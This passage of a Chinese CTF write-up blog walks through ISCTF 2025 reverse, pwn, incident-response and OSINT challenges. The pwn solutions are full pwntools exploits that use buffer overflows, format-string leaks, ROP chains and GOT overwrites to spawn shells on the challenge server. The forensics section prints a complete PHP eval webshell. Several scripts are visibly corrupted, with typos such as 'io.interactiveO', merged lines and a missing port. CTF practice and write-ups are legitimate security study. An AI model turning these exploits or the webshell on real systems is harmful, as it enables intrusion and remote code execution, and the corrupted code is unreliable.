        term2 &= 0xFFFFFFFF  
        term = term1 ^ term2  
        v0 = (v0 - term) & 0xFFFFFFFF  
        return v0, v1  
  
def solve():  
    ciphertext_hex = "3ecbe2d730aada1f61c45c79e64c5c93c4b287f5927d4171329c05301fb5078faab93bb52915989b"  
    ciphertext_bytes = bytes.fromhex(ciphertext_hex)  
    data = list(struct.unpack('<10I', ciphertext_bytes))  
  
    key = gen_key(2025)  
  
    for i in range(8, -1, -1):  
        v0 = data[i]  
        v1 = data[i+1]  
        v0, v1 = decrypt_pair(v0, v1, key)  
        data[i] = v0  
        data[i+1] = v1  
  
    flag_bytes = struct.pack('>10I', *data)  
    print(f"{flag_bytes.decode('utf-8', errors='ignore')}")  
  
if __name__ == "__main__":  
    solve()
    
#ISCTF{XTEA_14_POFP_N0_0ne_Can_Beat!!!!!}

ReCall

Title

出题人:EX_Ma7cH
院校:山东科技大学
难度:中等
题目描述:在它们诞生与消亡的那一瞬间,有什么东西发生了变化……

Idea
用IDA动态调试,发现有反调试,翻看代码,发现有两个tls函数在main函数之前执行

把两个函数中关于检查调试的代码中最终决定跳转的指令修改,即jz改为jnz,即可绕过反调试。

__stdcall
TlsCallback_0函数除了反调试以外,还会更改a4数组(也就是key数组)的值,在所有case下断点动态调试可知,第一次为case1, 然而等到第二次,第三次加密时,__stdcall
TlsCallback_0函数被再次调用!

于是我们根据a4的值和不同轮次case的情况,动态调试得到三次key数组:

[0x386EA53B, 0xD7E2667D, 0xC38166DB, 0x2913A100]  
[0x386EA53B, 0xD7E2667D, 0x291E3726, 0x2913A100]  
[0x386EA53B, 0xD7E2667D, 0x291E3726, 0x88A3F735]  

delta同样也被修改为0x88A3F735

加密逻辑:

# include <stdio.h>  
# include <stdint.h>  
  
int  
main()  
{  
    intkey[4] = {0x386EA53B, 0xD7E2667D, 0xC38166DB, 0x2913A100};  
int  
delta = 0;  
int  
text[2] = {0x00000000, 0x00000000};  
int  
i, g1, g2, k = 0;  
for (i = 0; i < 32; ++i)  
{  
    delta += 0x88A3F735;  
k = (delta >> 2) & 3;  
g1 = ((text[1] ^ key[k ^ 0 & 3]) + (text[1] ^ delta)) ^ (((16 * text[1]) ^ (text[1] >> 3))  
                                                         + ((4 * text[1]) ^ (text[1] >> 5)));  
text[0] += g1;  
g2 = (((text[0] ^ key[k ^ 1 & 3]) + (text[0] ^ delta)) ^ (((16 * text[0]) ^ (text[0] >> 3))  
                                                          + ((4 * text[0]) ^ (text[0] >> 5))));  
text[1] += g2;  
}  
printf("Delta: 0x%X\n", delta);  
return 0;  
}  

exp
解密脚本(C语言):

# include <stdio.h>  
# include <stdint.h>  
  
int  
main()  
{  
uint32_t  
key[4] = {0x386EA53B, 0xD7E2667D, 0xC38166DB, 0x2913A100};  
uint32_t  
delta = 0x88A3F735 * 32; // 初始化delta为最终值  
uint32_t  
text[2] = {0x2D66FD90, 0xF6FB537A}; // 这是密文  
int  
i, k;  
  
// 解密过程(与加密相反)  
for (i = 0; i < 32; ++i) {  
    k = (delta >> 2) & 3;  
  
// 先处理 text[1](加密时是后处理的)  
uint32_t g2 = (((text[0] ^ key[k ^ 1 & 3]) + (text[0] ^ delta)) ^  
(((16 * text[0]) ^ (text[0] >> 3)) +  
((4 * text[0]) ^ (text[0] >> 5))));  
text[1] -= g2; // 解密是减法  
  
// 再处理 text[0](加密时是先处理的)  
uint32_t g1 = (((text[1] ^ key[k ^ 0 & 3]) + (text[1] ^ delta)) ^  
(((16 * text[1]) ^ (text[1] >> 3)) +  
((4 * text[1]) ^ (text[1] >> 5))));  
text[0] -= g1; // 解密是减法  
  
delta -= 0x88A3F735; // 解密时delta递减  
}  
  
printf("解密结果:\n");  
printf("text[0] = 0x%08X\n", text[0]);  
printf("text[1] = 0x%08X\n", text[1]);  
  
// 转换为字节输出  
unsigned  
char * bytes = (unsigned char *)  
text;  
printf("作为字符串: ");  
for (int j = 0; j < 8; j++) {  
    printf("%c", (bytes[j] >= 32 & & bytes[j] < 127) ? bytes[j]: '.');  
}  
printf("\n");  
  
return 0;  
}  

得到ISCTF
{Y9
将上述脚本的key和密文对应更改可得到第2,3
轮的明文
ISCTF
{Y9r_gO0D @ _Tl5_T3A}

pwn

来签个到吧

Title

出题人:卡奇
院校:无
难度:简单
题目描述:🤠

Idea

开了地址虚拟化,有金丝雀
核心 漏洞为当buf_[27] == -1378178390时会返回系统权限
故只需利用read函数读取过长将buf_[27]替换为相应的十六进制即可
exp

from pwn import *

io=remote(host:"challenge.bluesharkinfo.com",port:29170)
target = OxFFFFFFFFADDAAAAA
offset =108
payload = b'a' * offset + p64(target)
io.recvuntil("do you like blueshark?")
io.send (payload)
io.interactiveO

ez_fmt

Title

出题人:shanlinchuanze
院校:福建师范大学
难度:简单
题目描述:看起来简单的一道题,就那么静静的呆在那里

Idea
通过 filechecksec (pwntools) 查看程序信息:

  • Arch: amd64-64-little
  • RELRO: Partial RELRO
  • Stack: Canary found (开启了栈保护)
  • NX: NX enabled (堆栈不可执行)
  • PIE: PIE enabled (地址随机化)
    ida分析vuln()函数:
  1. 程序首先读取用户输入,然后直接将该输入作为参数传递给 printf,存在明显的格式化字符串漏洞。
        c     read(0, buf, 0x100);     printf(buf); // 可用于泄露栈信息    
  2. 程序随后再次读取用户输入,读取长度为 0x200,但缓冲区 buf 大小仅为 0x90 (144 字节)。
        c     read(0, buf, 0x200); // 漏洞点 2:0x200 > 0x90,存在栈溢出    
  3. 程序中存在一个 win 函数 (地址偏移 0x11e9),其逻辑为调用 system("/bin/sh")
        asm     11e9: endbr64     ...     120e: call system    
    由于开启了 PIE 和 Canary,我们不能直接进行栈溢出覆盖返回地址。
    可以利用格式化字符串漏洞,泄露栈上的关键信息。
    通过动态调试,确定栈上的偏移:
  • Canary: 位于偏移 23 (%23$p)。
  • PIE 泄露地址: 位于偏移 31 (%31$p),该位置存储了 main 函数中的某个返回地址或栈帧指针,通过计算该地址与 main 函数起始地址的固定偏移,可以还原出程序的基址 (PIE Base)。
    再进行一次栈溢出漏洞,构造 Payload 覆盖返回地址。

在 x86_64 架构下,调用 system 函数时要求栈指针 (RSP) 必须是 16 字节对齐的。如果直接跳转到 win 函数,可能会因为栈未对齐导致程序在 system 内部崩溃 (SIGSEGV)。在跳转到 win 之前,先跳转到一个 ret 指令 (gadget)。ret 指令会弹出栈顶元素,使 RSP 增加 8,从而修正栈对齐。
exp

#!/usr/bin/env python3  
from pwn import *  
  
elf_path = './ez_fmt'  
elf = ELF(elf_path)  
context.binary = elf  
context.log_level = 'info'  
  
io = remote('challenge.bluesharkinfo.com', 27499)  
  
payload = '%23$p.%31$p'  
io.recvuntil('1st input: ')  
io.sendline(payload)  
  
leak = io.recvuntil('[leak end]').decode()  
print("Leak output:", leak)  
  
try:  
    parts = leak.split('\n')[0].split('.')  
    canary = int(parts[0], 16)  
    leak_main = int(parts[1], 16)  
  
    elf.address = leak_main - 0x12fa  
    win_addr = elf.symbols['win']  
  
    log.success(f"Canary: {hex(canary)}")  
    log.success(f"PIE Base: {hex(elf.address)}")  
    log.success(f"Win Addr: {hex(win_addr)}")  
  
    payload2 = b'A' * 136  
    payload2 += p64(canary)  
    payload2 += b'B' * 8  
  
    ret_gadget = elf.address + 0x12f9  
    payload2 += p64(ret_gadget)  
    payload2 += p64(win_addr)  
  
    io.recvuntil('2nd input: ')  
    io.sendline(payload2)  
  
    io.sendline('id; ls -la; cat flag; cat flag.txt')  
  
    io.interactive()  
  
except Exception as e:  
    log.error(f"Exploit failed: {e}")

ret2rop

Title

出题人:enter
院校:山东科技大学
难度:简单
题目描述:什么?要求要有指导?教学题目捏,你已经学会新手教程了,快来试一试叭😋

Idea
使用 checksec 检查二进制文件的保护机制:

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
  • NX Enabled: 栈不可执行,无法直接在栈上执行 shellcode,必须使用 ROP。
  • No Canary: 栈溢出没有 Canary 保护。
  • No PIE: 代码段地址固定,方便寻找 Gadgets。

通过 IDA 反编译 vuln 函数:

void __cdecl vuln()
{
  char buf[64]; // [rsp+0h] [rbp-50h]
  ssize_t n;    // [rsp+40h] [rbp-10h]
  ssize_t i;    // [rsp+48h] [rbp-8h]
  
  puts("please int your name");
  read(0, name, 0x10u); // name 是全局变量
  puts("please introduce yourself");
  getRandom(frame.mask, 32);
  n = read(0, buf, 0x100u); // 栈溢出,buf 大小 64,读取 256
  if ( n > 0 )
  {
    for ( i = 0; i < n; ++i )
      buf[i] ^= frame.mask[i]; // XOR 混淆
  }
}
  1. read(0, buf, 0x100u) 存在明显的栈溢出,buf 只有 64 字节(0x40),但读取了 256 字节。
  2. 关键逻辑: 循环变量 i 和循环上限 n 位于栈上 buf 之后。
        * buf: rbp-0x50
        * n: rbp-0x10 (偏移 64 / 0x40)
        * i: rbp-0x8 (偏移 72 / 0x48)
        * ret: rbp+0x8 (偏移 88 / 0x58)
    程序在溢出后会执行一个 XOR 循环 buf[i] ^= frame.mask[i]。如果我们直接覆盖返回地址构造 ROP 链,ROP 链的内容会被 XOR 修改,导致无法正确执行。
    我们需要让 XOR 循环提前结束,从而保护我们的 ROP 链不被修改。
    观察栈布局:
  • 偏移 64 (0x40) 处是变量 n
  • 循环条件是 i < n
  • 在循环过程中,当 i 增加到 64 时,程序会执行 buf[64] ^= mask[64]
  • 此时 buf[64] 对应的内存地址正好是变量 n
  • 初始时 n 的值是我们输入的字节数(例如 256 / 0x100)。
  • 如果我们在 payload 的偏移 96 处(对应栈上的 n,因为 read 读入的数据覆盖了 n)放置一个特定的值,使得 n 被 XOR 后变为 0(或小于等于 i),循环就会终止。
    2.2 ROP 链构造
  1. 利用程序开头的 read(0, name, 0x10u) 将字符串 "cat flag" 写入全局变量 name (0x4040f0)。
  2. 执行系统调用:
        * pop rsi; ret: 将 name 地址放入 rsi
        * mov rdi, rsi; ret: 将 name 地址转移到 rdi (system 的参数)。
        * system: 调用 system("cat flag")
        * 为了栈对齐和稳定性,中间加了 pop rbp; retret gadget。
    exp
from pwn import *  
  
context.binary = './ret2rop'  
context.terminal = ['tmux', 'splitw', '-h']  
  
p = remote('challenge.bluesharkinfo.com', 23011)  
  
pop_rsi_ret = 0x401a1c  
mov_rdi_rsi_ret = 0x401a25  
system_plt = 0x401180  
name_addr = 0x4040f0  
ret_gadget = 0x40101a pop_rbp_ret = 0x40131d  
  
p.recvuntil(b"if you want to watch demo\n")  
p.sendline(b"no")   
  
p.recvuntil(b"please int your name\n")  
p.send(b"ls -la;cat flag\x00".ljust(0x10, b'\x00'))  
  
  
rop = b""  
rop += p64(pop_rbp_ret)  
rop += p64(0x100)  
rop += p64(pop_rsi_ret)  
rop += p64(name_addr)  
rop += p64(mov_rdi_rsi_ret)  
rop += p64(system_plt)  
  
fake_rbp = 0x404500  
offset_rbp = 80  
  
payload = b"A" * offset_rbp  
payload += p64(fake_rbp)  
payload += rop  
  
payload = payload.ljust(256, b'\x00')  
  
p.recvuntil(b"please introduce yourself\n")  
p.send(payload)  

p.interactive()

2048

Title

出题人:mrcloud
院校:南华大学
难度:简单
题目描述:小蓝鲨做了一个小游戏,但是留在里面的后门似乎忘记清理了

Idea
靶机是一款带有内置后门的 2048 游戏二进制(ez2048)。

  • 架构:amd64
  • RELRO:No RELRO
  • Stack Canary:有
  • NX:启用
  • PIE:禁用(基址固定 0x400000)
  • IBT(Indirect Branch Tracking):启用(注意使用 PLT gadget/entry)
    文件中重要全局符号:
  • buf 全局缓冲区地址:0x404a40
  • flag 符号存在
    main 执行流程:
  1. init() 设置 IO 缓冲
  2. 打印欢迎并 read(0, buf, 0x32) 读取名字(注意长度限制)
  3. 去掉名字中的 \n,然后 strcpy(dest, "Hello,")strcat(dest, buf);最后 strcpy(buf, dest) -> 即将 buf 设置为 Hello,<name>(覆盖原输入)
  4. 打印提示并循环调用 playgame(),在每轮后要求用户输入 Q 表示结算并退出循环
  5. 退出循环后调用 final() 检查分数并决定是否调用 shell()

buf 是全局可控内容,后续可被用作 system 的参数

  • playgame():游戏逻辑,按 q 分数减 10 并 return
  • final():比较 score(unsigned)和目标 100000,若超过则 puts("here is your shell") 并 shell()
  • shell():实现了一个简单交互 shell,循环读取用户输入到栈上某缓冲区并 puts 打印,然后对某些命令处理:如果 strcmp(buf, "ls") == 0 就 system(buf),如果输入为 exit 则 break 并返回。

shell() :

  • 它对输入的处理会在栈上分配缓冲区(约 0x80 左右),但 read 的长度可达 0x128,导致能够覆盖栈 Canary 及返回地址。
  • 通过覆盖 Canary 的首字节(Canary 高字节为 0x00),可以借助 puts() 的输出泄露剩余 7 字节 Canary。

因二进制启用了 IBT(Indirect Branch Tracking),不能直接使用任意地址调用 system,需使用 PLT 中的入口地址(PLT 的 system 对应地址在分析中为 0x401170),或者保证指令边界处有 endbr64,本报告中使用 PLT 地址以确保兼容。

  • 全局变量 buf 的地址:0x404a40(ELF 符号可直接读取)
  • 系统 system 的 PLT 入口:0x401170(在启用 IBT 时,使用 PLT 地址保证 endbr64 正确)
  • Canary 泄露步骤:向 shell 发送 137 个 A,shell 的 puts 输出中会包含 A*137 后紧跟 Canary 的剩余 7 字节,首字节为 \x00
  • 栈布局:
    • [buffer (136)]
    • [canary (8)]
    • [saved rbp (8)]
    • [return rip ...]

exp

from pwn import *  
from pwn import log  
import time  
  
context.log_level = 'info'  
context.arch = 'amd64'  
  
IP = 'challenge.bluesharkinfo.com'  
PORT = 25761  
BINARY = './ez2048'  
  
elf = ELF(BINARY)  
p = remote(IP, PORT)  
  
log.info("Step 1: Injecting malicious payload into global buffer...")  
payload_name = b";/bin/sh"  
p.sendlineafter(b"name\n>", payload_name)  
  
p.sendlineafter(b"game", b"")  
  
log.info("Adjusting game loop interaction...")  
for i in range(8):  
    log.info(f"Round {i + 1}: Blindly sending 'q'...")  
    p.sendline(b"q")  
    time.sleep(1.0)  
  
    if i == 7:  
        log.info(f"Round {i + 1}: Sending 'Q' to exit...")  
        p.sendline(b"Q")  
    else:  
        log.info(f"Round {i + 1}: Sending 'a' to continue...")  
        p.sendline(b"a")  
        time.sleep(1.0)  
  
log.info("Waiting for final result...")  
p.recvuntil(b"here is your shell")  
log.success("Bypassed score check! Entered shell function.")  
  
p.recvuntil(b"$ ")  
  
log.info("Step 3: Leaking Canary...")  
  
payload_leak = b'A' * 137  
p.send(payload_leak)  
  
p.recvuntil(b"executing command: ")  
resp = p.recv(2048)  
  
try:  
    start_index = resp.find(b'A' * 137)  
    if start_index == -1:  
        log.error("Could not find leak payload in response")  
  
    leak_start = start_index + 137  
    canary_leak = resp[leak_start:leak_start + 7]  
    canary = b'\x00' + canary_leak  
    log.success(f"Canary Leaked: {canary.hex()}")  
except Exception as e:  
    log.error(f"Leak failed: {e}")  
    exit()  
  
log.info("Step 4: Sending ROP Payload...")  
  
rop = ROP(elf)  
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]  
ret = rop.find_gadget(['ret'])[0]  
  
buf_addr = 0x404a40  
system_addr = 0x401170  
  
log.info(f"Buf Addr: {hex(buf_addr)}")  
log.info(f"System Addr: {hex(system_addr)}")  
log.info(f"Pop RDI: {hex(pop_rdi)}")  
  
padding = b'exit\x00'.ljust(136, b'A')  
  
payload = flat([  
    padding,  
    canary,  
    b'B' * 8,  
    p64(ret),  
    p64(pop_rdi),  
    p64(buf_addr),  
    p64(system_addr)  
])  
  
log.info("Sending ROP payload...")  
try:  
    p.sendline(payload)  
except EOFError:  
    log.error("Connection closed unexpectedly when sending ROP payload.")  
    exit()  
  
log.success("Exploit sent! Check for shell.")  
p.interactive()

heap?

Title

出题人:enter
院校:山东科技大学
难度:简单
题目描述:喜欢我的堆题吗

Idea
得知道这是一个堆题,

  • add()
    • 作用:申请堆块并写入内容。
    • 操作:发送菜单 '1' -> 发送大小 -> 发送内容。
  • show()
    • 作用:打印堆块内容。
    • 漏洞点推测:虽然内容在堆上,但如果程序使用了 printf(chunk_ptr) 而不是 printf("%s", chunk_ptr),就会导致 格式化字符串漏洞。因为 printf 的参数在栈上,可以通过 %n$p 泄露栈上的数据。
  • delete_exploit()
    • 作用:删除堆块(或者程序里的某种销毁/重置功能)。
    • 漏洞点推测:这里不仅仅是删除,脚本发送了 len(payload) 和 payload。这暗示了程序在执行删除操作时,可能允许用户输入数据,并且存在 栈溢出(User-Controlled Size 或者读取长度超过了缓冲区大小)。
      show():
  • 程序将堆块的内容作为了printf的第一个参数(造成格式字符串),可申请一个堆块,填入 $p格式化字符串。
  • 调用 show(0),程序执行类似 printf(heap_content) 的代码。
  • printf 解析格式符,从上读取对应偏移的数据并打印出来。
    delete():
  • 溢出的入口read_num():
    • buf很大,v2只有16字节
    • 允许用户控制buf,可造成溢出

泄漏CanaryLibc Address:

  • 栈保护金丝雀值,绕过tack Guard,可直接获取,%7$p泄漏栈上的Canary。
  • %13$p泄漏__libc_start_main 的返回地址

Calling Convention (x64):参数通过寄存器传递,第一个参数放在 rdi 寄存器。
我们要执行system("/bin/sh")
Gadgets
1. pop rdi; ret:将栈顶数据弹入 rdi,然后返回。用于把 /bin/sh 的地址给 rdi。
2. ret:用于 栈对齐 (Stack Alignment)。在 Ubuntu 18.04+ 中,调用 system 时栈指针 rsp 必须是 16 字节对齐的(以 0 结尾),否则程序会 Crash (SIGSEGV 在 do_system 的 movaps 指令处)。如果在本地打通了远程打不通,通常加一个 ret 就能解决。

exp

#!/usr/bin/env python3  
# -*- coding: utf-8 -*-  
from pwn import *  
  
context.log_level = 'debug'  
context.arch = 'amd64'  
io = remote('challenge.bluesharkinfo.com', 23592)  
elf = ELF('./pwn')  
libc = ELF('./libc.so.6')  
  
fmt = b'%7$p,%11$p,%13$p,%15$p,%21$p'  
  
io.sendlineafter(b'>', b'1')  
io.sendlineafter(b'>', str(len(fmt)).encode())  
io.send(fmt)  
  
io.sendlineafter(b'>', b'3')  
io.sendlineafter(b'>', b'0')  
data_line = io.recvline().strip()  
  
  
while b',' not in data_line:  
    data_line = io.recvline().strip()  
data = data_line.split(b',')  
  
if b'>' in data[0]:  
    data[0] = data[0].split(b'> ')[-1]  
  
canary = int(data[0], 16)  
success(hex(canary))  
  
libc_leak = int(data[2], 16)  
libc.address = libc_leak - 0x29d90  
success(hex(libc.address))  
  
pop_rdi = libc.address + 0x000000000002a3e5  
bin_sh = next(libc.search(b'/bin/sh'))  
system = libc.sym['system']  
ret = pop_rdi + 1  
  
padding = b'A' * 16  
  
payload = flat([  
    padding,  
    canary,  
    0,  
    ret,  
    pop_rdi,  
    bin_sh,  
    system  
])  
  
io.sendlineafter(b'>', b'2')  
io.recvuntil(b'> ')  
io.send(p64(len(payload)))  
io.send(payload)  
  
io.interactive()

bad_box

Title

出题人:Albert Kesselring
院校:广东外语外贸大学
难度:困难
题目描述:小蓝鲨辛辛苦苦写的机器人被坏蛋卡奇破坏了,现在就只会复读,卡奇还剥夺了小蓝鲨对于电脑的的控制权限,请你帮助小蓝鲨重新获得系统控制权吧

Idea
一个黑盒,没有附件
连接到靶机,和复读机一样,输入什么,就打印回来什么
若输入的数据传给了printf的化,就能造成格式字符串漏洞
发送$p(AAAA%8$p)进行测试,确定存在格式字符串漏洞,并确定缓冲区从栈偏移量8处开始

先保证进程的存活,便于我们后续进行测试、泄漏等操作
使用格式化字符串 %n将 exit@got 覆盖为 main 的地址
由于不知道libc的版本,我们可以使用 pwntoolsDynELF 来动态解析符号,并泄漏system函数的地址。解析地址,将 printfGOT 条目覆盖为 system 的地址
发送字符串 /bin/sh,程序调用 printf("/bin/sh")
exp

from pwn import *  
  
context.arch = 'amd64'  
context.log_level = 'debug'  
  
HOST = 'challenge.bluesharkinfo.com'  
SERV_PORT =   
EXIT_ENTRY = 0x4033a0  
PRINTF_ENTRY = 0x403388  
PUTS_ENTRY = 0x403370  
MAIN_LOC = 0x401275  
STACK_IDX = 8  
  
  
def build_data_packet(target_map, base_idx):  
    byte_units = []  
    for loc, val in target_map.items():  
        for i in range(8):  
            byte_val = (val >> (8 * i)) & 0xff  
            byte_units.append((loc + i, byte_val))  
  
    byte_units.sort(key=lambda x: x[1])  
  
    fmt_segment = b""  
    current_counter = 0  
  
    for i, (loc, byte_val) in enumerate(byte_units):  
        to_write = (byte_val - current_counter) % 256  
        if to_write > 0:  
            fmt_segment += f"%1${to_write}c".encode()  
            current_counter += to_write  
  
        fmt_segment += f"%{{}}$hhn".encode()  
  
    fmt_segment += b"LEAK:%3$p"  
  
    padding_len = (8 - (len(fmt_segment) % 8)) % 8  
    fmt_segment += b"A" * padding_len  
  
    loc_offset_start = base_idx + (len(fmt_segment) // 8)  
  
    final_fmt = fmt_segment.decode().format(*[loc_offset_start + i for i in range(len(byte_units))]).encode()  
  
    loc_offset_start = base_idx + (len(final_fmt) // 8)  
    needed_pad = (8 - (len(final_fmt) % 8)) % 8  
    final_fmt += b"A" * needed_pad  
    loc_offset_start = base_idx + (len(final_fmt) // 8)  
  
    fmt_segment_2 = b""  
    current_counter = 0  
    for i, (loc, byte_val) in enumerate(byte_units):  
        to_write = (byte_val - current_counter) % 256  
        if to_write > 0:  
            fmt_segment_2 += f"%1${to_write}c".encode()  
            current_counter += to_write  
        fmt_segment_2 += f"%{loc_offset_start + i}hhn".encode()  
  
    fmt_segment_2 = fmt_segment_2.replace(b'hhn', b'$hhn')  
  
    fmt_segment_2 += b"LEAK:%3$p"  
    padding_len = (8 - (len(fmt_segment_2) % 8)) % 8  
    fmt_segment_2 += b"A" * padding_len  
  
    addr_block = b""  
    for loc, val in byte_units:  
        addr_block += p64(loc)  
  
    return fmt_segment_2 + addr_block  
  
  
def execute_task():  
    session = remote(HOST, SERV_PORT)  
  
    session.recvuntil(b'Have fun\n')  
  
    overwrite_targets = {EXIT_ENTRY: MAIN_LOC}  
    attack_data = build_data_packet(overwrite_targets, STACK_IDX)  
  
    if len(attack_data) <= 32:  
        attack_data = attack_data.ljust(33, b'X')  
    session.sendline(attack_data)  
  
    session.recvuntil(b'Have fun\n')  
  
    def memory_reader(target_loc):  
        header = b'%10$sAAAA'  
        fill_len = 16 - len(header)  
        probe_data = header + b'C' * fill_len + p64(target_loc)  
  
        probe_data = probe_data.ljust(40, b'X')  
  
        session.sendline(probe_data)  
  
        try:  
            response = session.recvuntil(b'Have fun\n')  
            if b'AAAA' in response:  
                content = response.split(b'AAAA')[0]  
                return content + b'\x00'  
            else:  
                return b''  
        except:  
            return b''  
  
    puts_raw = memory_reader(PUTS_ENTRY)  
    puts_loc = u64(puts_raw[:8].ljust(8, b'\x00'))  
  
    resolver = DynELF(memory_reader, puts_loc)  
    system_loc = resolver.lookup('system', 'libc')  
  
    overwrite_targets = {PRINTF_ENTRY: system_loc}  
    attack_data = build_data_packet(overwrite_targets, STACK_IDX)  
  
    if len(attack_data) <= 32:  
        attack_data = attack_data.ljust(33, b'X')  
  
    session.sendline(attack_data)  
    session.recvuntil(b'Have fun\n')  
    session.sendline(b'/bin/sh\x00'.ljust(33, b'X'))  
    session.interactive()  
  
  
if __name__ == "__main__":  
    execute_task()

应急响应

hacker

Title

出题人:yeran
院校:周口职业技术学院
难度:简单
题目描述:hacker在数据库的某个后台写入了很多的垃圾用户(注册),请提交其IP。 Flag使用ISCTF{}包裹。

Idea
附件是一个pcapng的流量包,根据根据描述。对流量包进行分析发现

192.168.37.2对192.168.37.177访问了大量的register.php,并且响应200
明显192.168.37.177为被写入了很多的垃圾用户的数据库的某个后台ip地址

奇怪的shell文件

Title

出题人:yeran
院校:周口职业技术学院
难度:简单
题目描述:小张同学是某安全团队的成员,负责公司服务器的日常安全检查。某天,他发现在一台关键业务服务器上存在异常行为,他的目标分析webshell连接工具,请提交工具名称作为flag以完成此次事件响应任务。 Flag使用ISCTF{}包裹。

Idea
分析附件,发现/WWW/content/plugins/tips/shell.php存在木马文件

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位
    $_SESSION['k']=$key;
    session_write_close();
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");
        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15];
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>
  • 文件通过 session 保存一个 16 字节的 key(注释也写着“该密钥为连接密码32位md5值的前16位”)。
  • 它从原始输入读取数据(php://input),对缺少 OpenSSL 时使用自定义 XOR 解码;若有 OpenSSL 则用 openssl_decrypt(..., "AES128", $key) 解密。
  • 解密后把 payload 用 '|' 分割为函数名/参数,然后用一个极简的类和魔术方法去执行:
    [class C{public function __invoke(\(p) {eval(\)p."");}} (WWW/content/templates/default/js/jquery.min.3.5.1.js)
    @call_user_func(new C(),$params);
  • Behinder 的 PHP 版本 payload 常见特征就是:用固定长度 key(session 保存),使用 AES128 或简单 XOR 对接收到的原始输入解密/还原,然后把解码得到的代码通过 eval 执行。
    因此使用的webshell连接工具是:Behinder

osint

OSINT-1

Title

出题人:Twansh
院校:福建理工大学
难度:简单
题目描述:
本题所有图片均来源于谷歌街景,请自行准备相关工具。 OSINT系列通用靶机地址(请勿攻击平台): [https://osint.imxbt.cn/](https://osint.imxbt.cn/)  
[https://osint-isctf.aristore.top/](https://osint-isctf.aristore.top/)

flag的格式是ISCTF{word1.word2.word3}

What3Words指引见[https://www.aristore.top/posts/What3Words/](https://www.aristore.top/posts/What3Words/)

Idea
337ed696788555a49ff949782da8acbe_MD5
明显是国内,百度识图,锁定福州大学图书馆


经纬度:26.058821,119.197698

comments.lotteries.trails
ISCTF{comments.lotteries.trails}

OSINT-2

Title

出题人:Aristore
院校:无
难度:中等
题目描述:
flag的格式是ISCTF{word1.word2.word3}

What3Words指引见[https://www.aristore.top/posts/What3Words/](https://www.aristore.top/posts/What3Words/)

Idea
d110a5669d42fff1b2fb53e6b4114a39_MD5
在国外,像是美国的曼哈顿大桥,Google搜索一下
1c3ef51101eed05e306352ef45bc5706_MD5
点了一个位置,和题目要找的位置好像很相近了,也确定是曼哈顿大桥,google搜图也能搜到
50c1b8e7433293ff5927c2c64234ea83_MD5
一点一点,找到目标街景,经纬度:40.7093558,-73.9933583

flame.outer.like
ISCTF{flame.outer.like}

OSINT-3

Title

出题人:Aristore
院校:无
难度:困难
题目描述:
flag的格式是ISCTF{word1.word2.word3}

What3Words指引见[https://www.aristore.top/posts/What3Words/](https://www.aristore.top/posts/What3Words/)

Idea
b2e0ce5784a6c314d2b6af44a11a7821_MD5
这题不是图寻,通过画面,大致能确定在哈萨克斯坦境内,有一条笔直的道路,一旁的黄的,一旁绿地
在哈萨克斯坦遨游.......(感谢Aristore师傅让我不出门就能旅游)
找到原图
dedbcfe41f3c493bc2777f3dbc2da054_MD5
经纬度:54.3216214,65.7630612

immorally.misusing.began
ISCTF{immorally.misusing.began}

posted @ 2025-12-14 16:51  v1c0  阅读(128)  评论(0)    收藏  举报